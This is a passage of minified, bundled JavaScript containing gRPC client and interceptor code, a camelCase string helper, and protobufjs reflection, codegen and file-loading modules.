0?J:(X)=>{}};this.processingMetadata=!0,this.requester.start(A,O,(X,$)=>{var _,G,Z;this.processingMetadata=!1;let W;if((0,vp7.isInterceptingListener)($))W=$;else{let D={onReceiveMetadata:(_=$.onReceiveMetadata)!==null&&_!==void 0?_:oE6.onReceiveMetadata,onReceiveMessage:(G=$.onReceiveMessage)!==null&&G!==void 0?G:oE6.onReceiveMessage,onReceiveStatus:(Z=$.onReceiveStatus)!==null&&Z!==void 0?Z:oE6.onReceiveStatus};W=new vp7.InterceptingListenerImpl(D,O)}this.nextCall.start(X,W),this.processPendingMessage(),this.processPendingHalfClose()})}sendMessageWithContext(A,K){this.processingMessage=!0,this.requester.sendMessage(K,(q)=>{if(this.processingMessage=!1,this.processingMetadata)this.pendingMessageContext=A,this.pendingMessage=K;else this.nextCall.sendMessageWithContext(A,q),this.processPendingHalfClose()})}sendMessage(A){this.sendMessageWithContext({},A)}startRead(){this.nextCall.startRead()}halfClose(){this.requester.halfClose(()=>{if(this.processingMetadata||this.processingMessage)this.pendingHalfClose=!0;else this.nextCall.halfClose()})}getAuthContext(){return this.nextCall.getAuthContext()}}Sp7.InterceptingCall=Rp7;function R52(A,K,q){var Y,z;let w=(Y=q.deadline)!==null&&Y!==void 0?Y:1/0,H=q.host,J=(z=q.parent)!==null&&z!==void 0?z:null,O=q.propagate_flags,X=q.credentials,$=A.createCall(K,w,H,J,O);if(X)$.setCredentials(X);return $}class aE6{constructor(A,K){this.call=A,this.methodDefinition=K}cancelWithStatus(A,K){this.call.cancelWithStatus(A,K)}getPeer(){return this.call.getPeer()}sendMessageWithContext(A,K){let q;try{q=this.methodDefinition.requestSerialize(K)}catch(Y){this.call.cancelWithStatus(Ep7.Status.INTERNAL,`Request message serialization failure: ${(0,kp7.getErrorMessage)(Y)}`);return}this.call.sendMessageWithContext(A,q)}sendMessage(A){this.sendMessageWithContext({},A)}start(A,K){let q=null;this.call.start(A,{onReceiveMetadata:(Y)=>{var z;(z=K===null||K===void 0?void 0:K.onReceiveMetadata)===null||z===void 0||z.call(K,Y)},onReceiveMessage:(Y)=>{var z;let w;try{w=this.methodDefinition.responseDeserialize(Y)}catch(H){q={code:Ep7.Status.INTERNAL,details:`Response message parsing error: ${(0,kp7.getErrorMessage)(H)}`,metadata:new L52.Metadata},this.call.cancelWithStatus(q.code,q.details);return}(z=K===null||K===void 0?void 0:K.onReceiveMessage)===null||z===void 0||z.call(K,w)},onReceiveStatus:(Y)=>{var z,w;if(q)(z=K===null||K===void 0?void 0:K.onReceiveStatus)===null||z===void 0||z.call(K,q);else(w=K===null||K===void 0?void 0:K.onReceiveStatus)===null||w===void 0||w.call(K,Y)}})}startRead(){this.call.startRead()}halfClose(){this.call.halfClose()}getAuthContext(){return this.call.getAuthContext()}}class yp7 extends aE6{constructor(A,K){super(A,K)}start(A,K){var q,Y;let z=!1,w={onReceiveMetadata:(Y=(q=K===null||K===void 0?void 0:K.onReceiveMetadata)===null||q===void 0?void 0:q.bind(K))!==null&&Y!==void 0?Y:(H)=>{},onReceiveMessage:(H)=>{var J;z=!0,(J=K===null||K===void 0?void 0:K.onReceiveMessage)===null||J===void 0||J.call(K,H)},onReceiveStatus:(H)=>{var J,O;if(!z)(J=K===null||K===void 0?void 0:K.onReceiveMessage)===null||J===void 0||J.call(K,null);(O=K===null||K===void 0?void 0:K.onReceiveStatus)===null||O===void 0||O.call(K,H)}};super.start(A,w),this.call.startRead()}}class Ip7 extends aE6{}function y52(A,K,q){let Y=R52(A,q.path,K);if(q.responseStream)return new Ip7(Y,q);else return new yp7(Y,q)}function I52(A,K,q,Y){if(A.clientInterceptors.length>0&&A.clientInterceptorProviders.length>0)throw new sgA("Both interceptors and interceptor_providers were passed as options to the client constructor. Only one of these is allowed.");if(A.callInterceptors.length>0&&A.callInterceptorProviders.length>0)throw new sgA("Both interceptors and interceptor_providers were passed as call options. Only one of these is allowed.");let z=[];if(A.callInterceptors.length>0||A.callInterceptorProviders.length>0)z=[].concat(A.callInterceptors,A.callInterceptorProviders.map((J)=>J(K))).filter((J)=>J);else z=[].concat(A.clientInterceptors,A.clientInterceptorProviders.map((J)=>J(K))).filter((J)=>J);let w=Object.assign({},q,{method_definition:K});return z.reduceRight((J,O)=>{return(X)=>O(X,J)},(J)=>y52(Y,J,K))(w)}});var eE6=v((xp7)=>{Object.defineProperty(xp7,"__esModule",{value:!0});xp7.Client=void 0;var yB=Vp7(),u52=Ak6(),B52=wP(),Ht=K9(),zjA=UG(),BD1=sE6(),PS=Symbol(),wjA=Symbol(),HjA=Symbol(),ep=Symbol();function tE6(A){return typeof A==="function"}function JjA(A){var K;return((K=A.stack)===null||K===void 0?void 0:K.split(` `).slice(1).join(` `))||"no stack trace available"}class bp7{constructor(A,K,q={}){var Y,z;if(q=Object.assign({},q),this[wjA]=(Y=q.interceptors)!==null&&Y!==void 0?Y:[],delete q.interceptors,this[HjA]=(z=q.interceptor_providers)!==null&&z!==void 0?z:[],delete q.interceptor_providers,this[wjA].length>0&&this[HjA].length>0)throw Error("Both interceptors and interceptor_providers were passed as options to the client constructor. Only one of these is allowed.");if(this[ep]=q.callInvocationTransformer,delete q.callInvocationTransformer,q.channelOverride)this[PS]=q.channelOverride;else if(q.channelFactoryOverride){let w=q.channelFactoryOverride;delete q.channelFactoryOverride,this[PS]=w(A,K,q)}else this[PS]=new u52.ChannelImplementation(A,K,q)}close(){this[PS].close()}getChannel(){return this[PS]}waitForReady(A,K){let q=(Y)=>{if(Y){K(Error("Failed to connect before the deadline"));return}let z;try{z=this[PS].getConnectivityState(!0)}catch(w){K(Error("The channel has been closed"));return}if(z===B52.ConnectivityState.READY)K();else try{this[PS].watchConnectivityState(z,A,q)}catch(w){K(Error("The channel has been closed"))}};setImmediate(q)}checkOptionalUnaryResponseArguments(A,K,q){if(tE6(A))return{metadata:new zjA.Metadata,options:{},callback:A};else if(tE6(K))if(A instanceof zjA.Metadata)return{metadata:A,options:{},callback:K};else return{metadata:new zjA.Metadata,options:A,callback:K};else{if(!(A instanceof zjA.Metadata&&K instanceof Object&&tE6(q)))throw Error("Incorrect arguments passed");return{metadata:A,options:K,callback:q}}}makeUnaryRequest(A,K,q,Y,z,w,H){var J,O;let X=this.checkOptionalUnaryResponseArguments(z,w,H),$={path:A,requestStream:!1,responseStream:!1,requestSerialize:K,responseDeserialize:q},_={argument:Y,metadata:X.metadata,call:new yB.ClientUnaryCallImpl,channel:this[PS],methodDefinition:$,callOptions:X.options,callback:X.callback};if(this[ep])_=this[ep](_);let G=_.call,Z={clientInterceptors:this[wjA],clientInterceptorProviders:this[HjA],callInterceptors:(J=_.callOptions.interceptors)!==null&&J!==void 0?J:[],callInterceptorProviders:(O=_.callOptions.interceptor_providers)!==null&&O!==void 0?O:[]},W=(0,BD1.getInterceptingCall)(Z,_.methodDefinition,_.callOptions,_.channel);G.call=W;let D=null,j=!1,M=Error();return W.start(_.metadata,{onReceiveMetadata:(P)=>{G.emit("metadata",P)},onReceiveMessage(P){if(D!==null)W.cancelWithStatus(Ht.Status.UNIMPLEMENTED,"Too many responses received");D=P},onReceiveStatus(P){if(j)return;if(j=!0,P.code===Ht.Status.OK)if(D===null){let f=JjA(M);_.callback((0,yB.callErrorFromStatus)({code:Ht.Status.UNIMPLEMENTED,details:"No message received",metadata:P.metadata},f))}else _.callback(null,D);else{let f=JjA(M);_.callback((0,yB.callErrorFromStatus)(P,f))}M=null,G.emit("status",P)}}),W.sendMessage(Y),W.halfClose(),G}makeClientStreamRequest(A,K,q,Y,z,w){var H,J;let O=this.checkOptionalUnaryResponseArguments(Y,z,w),X={path:A,requestStream:!0,responseStream:!1,requestSerialize:K,responseDeserialize:q},$={metadata:O.metadata,call:new yB.ClientWritableStreamImpl(K),channel:this[PS],methodDefinition:X,callOptions:O.options,callback:O.callback};if(this[ep])$=this[ep]($);let _=$.call,G={clientInterceptors:this[wjA],clientInterceptorProviders:this[HjA],callInterceptors:(H=$.callOptions.interceptors)!==null&&H!==void 0?H:[],callInterceptorProviders:(J=$.callOptions.interceptor_providers)!==null&&J!==void 0?J:[]},Z=(0,BD1.getInterceptingCall)(G,$.methodDefinition,$.callOptions,$.channel);_.call=Z;let W=null,D=!1,j=Error();return Z.start($.metadata,{onReceiveMetadata:(M)=>{_.emit("metadata",M)},onReceiveMessage(M){if(W!==null)Z.cancelWithStatus(Ht.Status.UNIMPLEMENTED,"Too many responses received");W=M,Z.startRead()},onReceiveStatus(M){if(D)return;if(D=!0,M.code===Ht.Status.OK)if(W===null){let P=JjA(j);$.callback((0,yB.callErrorFromStatus)({code:Ht.Status.UNIMPLEMENTED,details:"No message received",metadata:M.metadata},P))}else $.callback(null,W);else{let P=JjA(j);$.callback((0,yB.callErrorFromStatus)(M,P))}j=null,_.emit("status",M)}}),_}checkMetadataAndOptions(A,K){let q,Y;if(A instanceof zjA.Metadata)if(q=A,K)Y=K;else Y={};else{if(A)Y=A;else Y={};q=new zjA.Metadata}return{metadata:q,options:Y}}makeServerStreamRequest(A,K,q,Y,z,w){var H,J;let O=this.checkMetadataAndOptions(z,w),X={path:A,requestStream:!1,responseStream:!0,requestSerialize:K,responseDeserialize:q},$={argument:Y,metadata:O.metadata,call:new yB.ClientReadableStreamImpl(q),channel:this[PS],methodDefinition:X,callOptions:O.options};if(this[ep])$=this[ep]($);let _=$.call,G={clientInterceptors:this[wjA],clientInterceptorProviders:this[HjA],callInterceptors:(H=$.callOptions.interceptors)!==null&&H!==void 0?H:[],callInterceptorProviders:(J=$.callOptions.interceptor_providers)!==null&&J!==void 0?J:[]},Z=(0,BD1.getInterceptingCall)(G,$.methodDefinition,$.callOptions,$.channel);_.call=Z;let W=!1,D=Error();return Z.start($.metadata,{onReceiveMetadata(j){_.emit("metadata",j)},onReceiveMessage(j){_.push(j)},onReceiveStatus(j){if(W)return;if(W=!0,_.push(null),j.code!==Ht.Status.OK){let M=JjA(D);_.emit("error",(0,yB.callErrorFromStatus)(j,M))}D=null,_.emit("status",j)}}),Z.sendMessage(Y),Z.halfClose(),_}makeBidiStreamRequest(A,K,q,Y,z){var w,H;let J=this.checkMetadataAndOptions(Y,z),O={path:A,requestStream:!0,responseStream:!0,requestSerialize:K,responseDeserialize:q},X={metadata:J.metadata,call:new yB.ClientDuplexStreamImpl(K,q),channel:this[PS],methodDefinition:O,callOptions:J.options};if(this[ep])X=this[ep](X);let $=X.call,_={clientInterceptors:this[wjA],clientInterceptorProviders:this[HjA],callInterceptors:(w=X.callOptions.interceptors)!==null&&w!==void 0?w:[],callInterceptorProviders:(H=X.callOptions.interceptor_providers)!==null&&H!==void 0?H:[]},G=(0,BD1.getInterceptingCall)(_,X.methodDefinition,X.callOptions,X.channel);$.call=G;let Z=!1,W=Error();return G.start(X.metadata,{onReceiveMetadata(D){$.emit("metadata",D)},onReceiveMessage(D){$.push(D)},onReceiveStatus(D){if(Z)return;if(Z=!0,$.push(null),D.code!==Ht.Status.OK){let j=JjA(W);$.emit("error",(0,yB.callErrorFromStatus)(D,j))}W=null,$.emit("status",D)}}),$}}xp7.Client=bp7});var mD1=v((mp7)=>{Object.defineProperty(mp7,"__esModule",{value:!0});mp7.makeClientConstructor=Bp7;mp7.loadPackageDefinition=Q52;var tgA=eE6(),m52={unary:tgA.Client.prototype.makeUnaryRequest,server_stream:tgA.Client.prototype.makeServerStreamRequest,client_stream:tgA.Client.prototype.makeClientStreamRequest,bidi:tgA.Client.prototype.makeBidiStreamRequest};function Kk6(A){return["__proto__","prototype","constructor"].includes(A)}function Bp7(A,K,q){if(!q)q={};class Y extends tgA.Client{}return Object.keys(A).forEach((z)=>{if(Kk6(z))return;let w=A[z],H;if(typeof z==="string"&&z.charAt(0)==="$")throw Error("Method names cannot start with $");if(w.requestStream)if(w.responseStream)H="bidi";else H="client_stream";else if(w.responseStream)H="server_stream";else H="unary";let{requestSerialize:J,responseDeserialize:O}=w,X=g52(m52[H],w.path,J,O);if(Y.prototype[z]=X,Object.assign(Y.prototype[z],w),w.originalName&&!Kk6(w.originalName))Y.prototype[w.originalName]=Y.prototype[z]}),Y.service=A,Y.serviceName=K,Y}function g52(A,K,q,Y){return function(...z){return A.call(this,K,q,Y,...z)}}function F52(A){return"format"in A}function Q52(A){let K={};for(let q in A)if(Object.prototype.hasOwnProperty.call(A,q)){let Y=A[q],z=q.split(".");if(z.some((J)=>Kk6(J)))continue;let w=z[z.length-1],H=K;for(let J of z.slice(0,-1)){if(!H[J])H[J]={};H=H[J]}if(F52(Y))H[w]=Y;else H[w]=Bp7(Y,w,{})}return K}});var Od7=v((tvH,Jd7)=>{var d52=1/0,c52="[object Symbol]",l52=/[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g,i52=/[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g,FD1="\\ud800-\\udfff",lp7="\\u0300-\\u036f\\ufe20-\\ufe23",ip7="\\u20d0-\\u20f0",np7="\\u2700-\\u27bf",rp7="a-z\\xdf-\\xf6\\xf8-\\xff",n52="\\xac\\xb1\\xd7\\xf7",r52="\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf",o52="\\u2000-\\u206f",a52=" \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000",op7="A-Z\\xc0-\\xd6\\xd8-\\xde",ap7="\\ufe0e\\ufe0f",sp7=n52+r52+o52+a52,Yk6="['’]",s52="["+FD1+"]",gp7="["+sp7+"]",gD1="["+lp7+ip7+"]",tp7="\\d+",t52="["+np7+"]",ep7="["+rp7+"]",Ad7="[^"+FD1+sp7+tp7+np7+rp7+op7+"]",qk6="\\ud83c[\\udffb-\\udfff]",e52="(?:"+gD1+"|"+qk6+")",Kd7="[^"+FD1+"]",zk6="(?:\\ud83c[\\udde6-\\uddff]){2}",wk6="[\\ud800-\\udbff][\\udc00-\\udfff]",OjA="["+op7+"]",qd7="\\u200d",Fp7="(?:"+ep7+"|"+Ad7+")",A32="(?:"+OjA+"|"+Ad7+")",Qp7="(?:"+Yk6+"(?:d|ll|m|re|s|t|ve))?",Up7="(?:"+Yk6+"(?:D|LL|M|RE|S|T|VE))?",Yd7=e52+"?",zd7="["+ap7+"]?",K32="(?:"+qd7+"(?:"+[Kd7,zk6,wk6].join("|")+")"+zd7+Yd7+")*",wd7=zd7+Yd7+K32,q32="(?:"+[t52,zk6,wk6].join("|")+")"+wd7,Y32="(?:"+[Kd7+gD1+"?",gD1,zk6,wk6,s52].join("|")+")",z32=RegExp(Yk6,"g"),w32=RegExp(gD1,"g"),H32=RegExp(qk6+"(?="+qk6+")|"+Y32+wd7,"g"),J32=RegExp([OjA+"?"+ep7+"+"+Qp7+"(?="+[gp7,OjA,"$"].join("|")+")",A32+"+"+Up7+"(?="+[gp7,OjA+Fp7,"$"].join("|")+")",OjA+"?"+Fp7+"+"+Qp7,OjA+"+"+Up7,tp7,q32].join("|"),"g"),O32=RegExp("["+qd7+FD1+lp7+ip7+ap7+"]"),X32=/[a-z][A-Z]|[A-Z]{2,}[a-z]|[0-9][a-zA-Z]|[a-zA-Z][0-9]|[^a-zA-Z0-9 ]/,$32={"À":"A","Á":"A","Â":"A","Ã":"A","Ä":"A","Å":"A","à":"a","á":"a","â":"a","ã":"a","ä":"a","å":"a","Ç":"C","ç":"c","Ð":"D","ð":"d","È":"E","É":"E","Ê":"E","Ë":"E","è":"e","é":"e","ê":"e","ë":"e","Ì":"I","Í":"I","Î":"I","Ï":"I","ì":"i","í":"i","î":"i","ï":"i","Ñ":"N","ñ":"n","Ò":"O","Ó":"O","Ô":"O","Õ":"O","Ö":"O","Ø":"O","ò":"o","ó":"o","ô":"o","õ":"o","ö":"o","ø":"o","Ù":"U","Ú":"U","Û":"U","Ü":"U","ù":"u","ú":"u","û":"u","ü":"u","Ý":"Y","ý":"y","ÿ":"y","Æ":"Ae","æ":"ae","Þ":"Th","þ":"th","ß":"ss","Ā":"A","Ă":"A","Ą":"A","ā":"a","ă":"a","ą":"a","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","ć":"c","ĉ":"c","ċ":"c","č":"c","Ď":"D","Đ":"D","ď":"d","đ":"d","Ē":"E","Ĕ":"E","Ė":"E","Ę":"E","Ě":"E","ē":"e","ĕ":"e","ė":"e","ę":"e","ě":"e","Ĝ":"G","Ğ":"G","Ġ":"G","Ģ":"G","ĝ":"g","ğ":"g","ġ":"g","ģ":"g","Ĥ":"H","Ħ":"H","ĥ":"h","ħ":"h","Ĩ":"I","Ī":"I","Ĭ":"I","Į":"I","İ":"I","ĩ":"i","ī":"i","ĭ":"i","į":"i","ı":"i","Ĵ":"J","ĵ":"j","Ķ":"K","ķ":"k","ĸ":"k","Ĺ":"L","Ļ":"L","Ľ":"L","Ŀ":"L","Ł":"L","ĺ":"l","ļ":"l","ľ":"l","ŀ":"l","ł":"l","Ń":"N","Ņ":"N","Ň":"N","Ŋ":"N","ń":"n","ņ":"n","ň":"n","ŋ":"n","Ō":"O","Ŏ":"O","Ő":"O","ō":"o","ŏ":"o","ő":"o","Ŕ":"R","Ŗ":"R","Ř":"R","ŕ":"r","ŗ":"r","ř":"r","Ś":"S","Ŝ":"S","Ş":"S","Š":"S","ś":"s","ŝ":"s","ş":"s","š":"s","Ţ":"T","Ť":"T","Ŧ":"T","ţ":"t","ť":"t","ŧ":"t","Ũ":"U","Ū":"U","Ŭ":"U","Ů":"U","Ű":"U","Ų":"U","ũ":"u","ū":"u","ŭ":"u","ů":"u","ű":"u","ų":"u","Ŵ":"W","ŵ":"w","Ŷ":"Y","ŷ":"y","Ÿ":"Y","Ź":"Z","Ż":"Z","Ž":"Z","ź":"z","ż":"z","ž":"z","IJ":"IJ","ij":"ij","Œ":"Oe","œ":"oe","ʼn":"'n","ſ":"ss"},_32=typeof global=="object"&&global&&global.Object===Object&&global,G32=typeof self=="object"&&self&&self.Object===Object&&self,Z32=_32||G32||Function("return this")();function W32(A,K,q,Y){var z=-1,w=A?A.length:0;if(Y&&w)q=A[++z];while(++z<w)q=K(q,A[z],z,A);return q}function D32(A){return A.split("")}function j32(A){return A.match(l52)||[]}function M32(A){return function(K){return A==null?void 0:A[K]}}var P32=M32($32);function Hd7(A){return O32.test(A)}function V32(A){return X32.test(A)}function f32(A){return Hd7(A)?N32(A):D32(A)}function N32(A){return A.match(H32)||[]}function T32(A){return A.match(J32)||[]}var v32=Object.prototype,E32=v32.toString,pp7=Z32.Symbol,dp7=pp7?pp7.prototype:void 0,cp7=dp7?dp7.toString:void 0;function k32(A,K,q){var Y=-1,z=A.length;if(K<0)K=-K>z?0:z+K;if(q=q>z?z:q,q<0)q+=z;z=K>q?0:q-K>>>0,K>>>=0;var w=Array(z);while(++Y<z)w[Y]=A[Y+K];return w}function C32(A){if(typeof A=="string")return A;if(S32(A))return cp7?cp7.call(A):"";var K=A+"";return K=="0"&&1/A==-d52?"-0":K}function L32(A,K,q){var Y=A.length;return q=q===void 0?Y:q,!K&&q>=Y?A:k32(A,K,q)}function R32(A){return function(K){K=QD1(K);var q=Hd7(K)?f32(K):void 0,Y=q?q[0]:K.charAt(0),z=q?L32(q,1).join(""):K.slice(1);return Y[A]()+z}}function y32(A){return function(K){return W32(B32(x32(K).replace(z32,"")),A,"")}}function I32(A){return!!A&&typeof A=="object"}function S32(A){return typeof A=="symbol"||I32(A)&&E32.call(A)==c52}function QD1(A){return A==null?"":C32(A)}var h32=y32(function(A,K,q){return K=K.toLowerCase(),A+(q?b32(K):K)});function b32(A){return u32(QD1(A).toLowerCase())}function x32(A){return A=QD1(A),A&&A.replace(i52,P32).replace(w32,"")}var u32=R32("toUpperCase");function B32(A,K,q){if(A=QD1(A),K=q?void 0:K,K===void 0)return V32(A)?T32(A):j32(A);return A.match(K)||[]}Jd7.exports=h32});var $d7=v((evH,Xd7)=>{Xd7.exports=Hk6;function Hk6(A,K){if(typeof A==="string")K=A,A=void 0;var q=[];function Y(w){if(typeof w!=="string"){var H=z();if(Hk6.verbose)console.log("codegen: "+H);if(H="return "+H,w){var J=Object.keys(w),O=Array(J.length+1),X=Array(J.length),$=0;while($<J.length)O[$]=J[$],X[$]=w[J[$++]];return O[$]=H,Function.apply(null,O).apply(null,X)}return Function(H)()}var _=Array(arguments.length-1),G=0;while(G<_.length)_[G]=arguments[++G];if(G=0,w=w.replace(/%([%dfijs])/g,function(W,D){var j=_[G++];switch(D){case"d":case"f":return String(Number(j));case"i":return String(Math.floor(j));case"j":return JSON.stringify(j);case"s":return String(j)}return"%"}),G!==_.length)throw Error("parameter count mismatch");return q.push(w),Y}function z(w){return"function "+(w||K||"")+"("+(A&&A.join(",")||"")+`){ `+q.join(` `)+` }`}return Y.toString=z,Y}Hk6.verbose=!1});var Gd7=v((AEH,_d7)=>{_d7.exports=egA;var m32=pv6(),g32=lv6(),Jk6=g32("fs");function egA(A,K,q){if(typeof K==="function")q=K,K={};else if(!K)K={};if(!q)return m32(egA,this,A,K);if(!K.xhr&&Jk6&&Jk6.readFile)return Jk6.readFile(A,function(z,w){return z&&typeof XMLHttpRequest<"u"?egA.xhr(A,K,q):z?q(z):q(null,K.binary?w:w.toString("utf8"))});return egA.xhr(A,K,q)}egA.xhr=function(K,q,Y){var z=new XMLHttpRequest;if(z.onreadystatechange=function(){if(z.readyState!==4)return;if(z.status!==0&&z.status!==200)return Y(Error("status "+z.status));if(q.binary){var H=z.response;if(!H){H=[];for(var J=0;J<z.responseText.length;++J)H.push(z.responseText.charCodeAt(J)&255)}return Y(null,typeof Uint8Array<"u"?new Uint8Array(H):H)}return Y(null,z.responseText)},q.binary){if("overrideMimeType"in z)z.overrideMimeType("text/plain; charset=x-user-defined");z.responseType="arraybuffer"}z.open("GET",K),z.send()}});var Dd7=v((Wd7)=>{var Xk6=Wd7,Zd7=Xk6.isAbsolute=function(K){return/^(?:\/|\w+:)/.test(K)},Ok6=Xk6.normalize=function(K){K=K.replace(/\\/g,"/").replace(/\/{2,}/g,"/");var q=K.split("/"),Y=Zd7(K),z="";if(Y)z=q.shift()+"/";for(var w=0;w<q.length;)if(q[w]==="..")if(w>0&&q[w-1]!=="..")q.splice(--w,2);else if(Y)q.splice(w,1);else++w;else if(q[w]===".")q.splice(w,1);else++w;return z+q.join("/")};Xk6.resolve=function(K,q,Y){if(!Y)q=Ok6(q);if(Zd7(q))return q;if(!Y)K=Ok6(K);return(K=K.replace(/(?:\/|^)[^/]+$/,"")).length?Ok6(K+"/"+q):q}});var $jA=v((qEH,Pd7)=>{Pd7.exports=VY;var UD1=Ot();((VY.prototype=Object.create(UD1.prototype)).constructor=VY).className="Namespace";var $k6=Jt(),pD1=pG(),F32=s5A(),o5A,XjA,a5A;VY.fromJSON=function(K,q){return new VY(K,q.options).addJSON(q.nested)};function jd7(A,K){if(!(A&&A.length))return;var q={};for(var Y=0;Y<A.length;++Y)q[A[Y].name]=A[Y].toJSON(K);return q}VY.arrayToJSON=jd7;VY.isReservedId=function(K,q){if(K){for(var Y=0;Y<K.length;++Y)if(typeof K[Y]!=="string"&&K[Y][0]<=q&&K[Y][1]>q)return!0}return!1};VY.isReservedName=function(K,q){if(K){for(var Y=0;Y<K.length;++Y)if(K[Y]===q)return!0}return!1};function VY(A,K){UD1.call(this,A,K),this.nested=void 0,this._nestedArray=null,this._lookupCache={},this._needsRecursiveFeatureResolution=!0,this._needsRecursiveResolve=!0}function Md7(A){A._nestedArray=null,A._lookupCache={};var K=A;while(K=K.parent)K._lookupCache={};return A}Object.defineProperty(VY.prototype,"nestedArray",{get:function(){return this._nestedArray||(this._nestedArray=pD1.toArray(this.nested))}});VY.prototype.toJSON=function(K){return pD1.toObject(["options",this.options,"nested",jd7(this.nestedArray,K)])};VY.prototype.addJSON=function(K){var q=this;if(K)for(var Y=Object.keys(K),z=0,w;z<Y.length;++z)w=K[Y[z]],q.add((w.fields!==void 0?o5A.fromJSON:w.values!==void 0?a5A.fromJSON:w.methods!==void 0?XjA.fromJSON:w.id!==void 0?$k6.fromJSON:VY.fromJSON)(Y[z],w));return this};VY.prototype.get=function(K){return this.nested&&this.nested[K]||null};VY.prototype.getEnum=function(K){if(this.nested&&this.nested[K]instanceof a5A)return this.nested[K].values;throw Error("no such enum: "+K)};VY.prototype.add=function(K){if(!(K instanceof $k6&&K.extend!==void 0||K instanceof o5A||K instanceof F32||K instanceof a5A||K instanceof XjA||K instanceof VY))throw TypeError("object must be a valid nested object");if(!this.nested)this.nested={};else{var q=this.get(K.name);if(q)if(q instanceof VY&&K instanceof VY&&!(q instanceof o5A||q instanceof XjA)){var Y=q.nestedArray;for(var z=0;z<Y.length;++z)K.add(Y[z]);if(this.remove(q),!this.nested)this.nested={};K.setOptions(q.options,!0)}else throw Error("duplicate name '"+K.name+"' in "+this)}if(this.nested[K.name]=K,!(this instanceof o5A||this instanceof XjA||this instanceof a5A||this instanceof $k6)){if(!K._edition)K._edition=K._defaultEdition}this._needsRecursiveFeatureResolution=!0,this._needsRecursiveResolve=!0;var w=this;while(w=w.parent)w._needsRecursiveFeatureResolution=!0,w._needsRecursiveResolve=!0;return K.onAdd(this),Md7(this)};VY.prototype.remove=function(K){if(!(K instanceof UD1))throw TypeError("object must be a ReflectionObject");if(K.parent!==this)throw Error(K+" is not a member of "+this);if(delete this.nested[K.name],!Object.keys(this.nested).length)this.nested=void 0;return K.onRemove(this),Md7(this)};VY.prototype.define=function(K,q){if(pD1.isString(K))K=K.split(".");else if(!Array.isArray(K))throw TypeError("illegal path");if(K&&K.length&&K[0]==="")throw Error("path must be relative");var Y=this;while(K.length>0){var z=K.shift();if(Y.nested&&Y.nested[z]){if(Y=Y.nested[z],!(Y instanceof VY))throw Error("path conflicts with non-namespace objects")}else Y.add(Y=new VY(z))}if(q)Y.addJSON(q);return Y};VY.prototype.resolveAll=function(){if(!this._needsRecursiveResolve)return this;this._resolveFeaturesRecursive(this._edition);var K=this.nestedArray,q=0;this.resolve();while(q<K.length)if(K[q]instanceof VY)K[q++].resolveAll();else K[q++].resolve();return this._needsRecursiveResolve=!1,this};VY.prototype._resolveFeaturesRecursive=function(K){if(!this._needsRecursiveFeatureResolution)return this;return this._needsRecursiveFeatureResolution=!1,K=this._edition||K,UD1.prototype._resolveFeaturesRecursive.call(this,K),this.nestedArray.forEach((q)=>{q._resolveFeaturesRecursive(K)}),this};VY.prototype.lookup=function(K,q,Y){if(typeof q==="boolean")Y=q,q=void 0;else if(q&&!Array.isArray(q))q=[q];if(pD1.isString(K)&&K.length){if(K===".")return this.root;K=K.split(".")}else if(!K.length)return this;var z=K.join(".");if(K[0]==="")return this.root.lookup(K.slice(1),q);var w=this.root._fullyQualifiedObjects&&this.root._fullyQualifiedObjects["."+z];if(w&&(!q||q.indexOf(w.constructor)>-1))return w;if(w=this._lookupImpl(K,z),w&&(!q||q.indexOf(w.constructor)>-1))return w;if(Y)return null;var H=this;while(H.parent){if(w=H.parent._lookupImpl(K,z),w&&(!q||q.indexOf(w.constructor)>-1))return w;H=H.parent}return null};VY.prototype._lookupImpl=function(K,q){if(Object.prototype.hasOwnProperty.call(this._lookupCache,q))return this._lookupCache[q];var Y=this.get(K[0]),z=null;if(Y){if(K.length===1)z=Y;else if(Y instanceof VY)K=K.slice(1),z=Y._lookupImpl(K,K.join("."))}else for(var w=0;w<this.nestedArray.length;++w)if(this._nestedArray[w]instanceof VY&&(Y=this._nestedArray[w]._lookupImpl(K,q)))z=Y;return this._lookupCache[q]=z,z};VY.prototype.lookupType=function(K){var q=this.lookup(K,[o5A]);if(!q)throw Error("no such type: "+K);return q};VY.prototype.lookupEnum=function(K){var q=this.lookup(K,[a5A]);if(!q)throw Error("no such Enum '"+K+"' in "+this);return q};VY.prototype.lookupTypeOrEnum=function(K){var q=this.lookup(K,[o5A,a5A]);if(!q)throw Error("no such Type or Enum '"+K+"' in "+this);return q};VY.prototype.lookupService=function(K){var q=this.lookup(K,[XjA]);if(!q)throw Error("no such Service '"+K+"' in "+this);return q};VY._configure=function(A,K,q){o5A=A,XjA=K,a5A=q}});var dD1=v((YEH,Vd7)=>{Vd7.exports=Ad;var _k6=Jt();((Ad.prototype=Object.create(_k6.prototype)).constructor=Ad).className="MapField";var Q32=t5A(),AFA=pG();function Ad(A,K,q,Y,z,w){if(_k6.call(this,A,K,Y,void 0,void 0,z,w),!AFA.isString(q))throw TypeError("keyType must be a string");this.keyType=q,this.resolvedKeyType=null,this.map=!0}Ad.fromJSON=function(K,q){return new Ad(K,q.id,q.keyType,q.type,q.options,q.comment)};Ad.prototype.toJSON=function(K){var q=K?Boolean(K.keepComments):!1;return AFA.toObject(["keyType",this.keyType,"type",this.type,"id",this.id,"extend",this.extend,"options",this.options,"comment",q?this.comment:void 0])};Ad.prototype.resolve=function(){if(this.resolved)return this;if(Q32.mapKey[this.keyType]===void 0)throw Error("invalid key type: "+this.keyType);return _k6.prototype.resolve.call(this)};Ad.d=function(K,q,Y){if(typeof Y==="function")Y=AFA.decorateType(Y).name;else if(Y&&typeof Y==="object")Y=AFA.decorateEnum(Y).name;return function(w,H){AFA.decorateType(w.constructor).add(new Ad(H,K,q,Y))}}});var cD1=v((zEH,fd7)=>{fd7.exports=e5A;var Gk6=Ot();((e5A.prototype=Object.create(Gk6.prototype)).constructor=e5A).className="Method";var _jA=pG();function e5A(A,K,q,Y,z,w,H,J,O){if(_jA.isObject(z))H=z,z=w=void 0;else if(_jA.isObject(w))H=w,w=void 0;if(!(K===void 0||_jA.isString(K)))throw TypeError("type must be a string");if(!_jA.isString(q))throw TypeError("requestType must be a string");if(!_jA.isString(Y))throw TypeError("responseType 